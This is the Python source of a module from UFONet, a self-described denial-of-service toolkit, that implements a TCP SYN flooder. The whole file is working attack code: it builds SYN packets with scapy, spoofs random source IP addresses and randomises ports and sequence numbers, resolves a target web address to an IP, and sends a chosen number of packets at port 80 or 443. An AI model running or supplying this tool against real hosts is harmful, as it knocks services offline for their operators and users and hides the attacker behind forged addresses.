ufosyn.py 2.9 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, random, socket, time, urlparse
  10. try:
  11. from scapy.all import *
  12. except:
  13. print "\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-scapy' or 'pip install scapy'\n"
  14. sys.exit(2)
  15. # UFONet TCP SYN Flooder (UFOSYN)
  16. def randIP():
  17. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  18. return ip
  19. def randInt():
  20. x = random.randint(1,65535) # TCP ports
  21. return x
  22. def synize(ip, port, rounds):
  23. n=0
  24. try:
  25. for x in range (0,int(rounds)):
  26. n=n+1
  27. sport = randInt()
  28. seq = randInt()
  29. window = randInt()
  30. IP_p = IP()
  31. IP_p.src = randIP()
  32. try:
  33. IP_p.dst = ip
  34. except:
  35. print "[Error] [AI] [UFOSYN] Imposible to resolve IP from target -> [Aborting!]\n"
  36. break
  37. TCP_l = TCP()
  38. TCP_l.sport = sport
  39. TCP_l.dport = port
  40. TCP_l.flags = "S" # SYN
  41. TCP_l.seq = seq
  42. TCP_l.window = window
  43. try:
  44. send(IP_p/TCP_l, verbose=0)
  45. print "[Info] [AI] [UFOSYN] Firing 'quantum hook' ["+str(n)+"] -> [FLOODING!]"
  46. time.sleep(1) # sleep time required for balanced sucess
  47. except:
  48. print "[Error] [AI] [UFOSYN] Failed to engage with 'quantum hook' ["+str(n)+"]"
  49. except:
  50. print("[Error] [AI] [UFOSYN] Failing to engage... -> Is still target online? -> [Checking!]")
  51. class UFOSYN(object):
  52. def attacking(self, target, rounds):
  53. print "[Info] [AI] TCP SYN Flooder (UFOSYN) is ready to fire: [" , rounds, "quantum hooks ]"
  54. if target.startswith('http://'):
  55. target = target.replace('http://','')
  56. port = 80
  57. elif target.startswith('https://'):
  58. target = target.replace('https://','')
  59. port = 443
  60. try:
  61. ip = socket.gethostbyname(target)
  62. except:
  63. try:
  64. import dns.resolver
  65. r = dns.resolver.Resolver()
  66. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  67. url = urlparse(target)
  68. a = r.query(url.netloc, "A") # A record
  69. for rd in a:
  70. ip = str(rd)
  71. except:
  72. ip = target
  73. if ip == "127.0.0.1" or ip == "localhost":
  74. print "[Info] [AI] [UFOSYN] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
  75. return
  76. synize(ip, port, rounds) # attack with UFOSYN using threading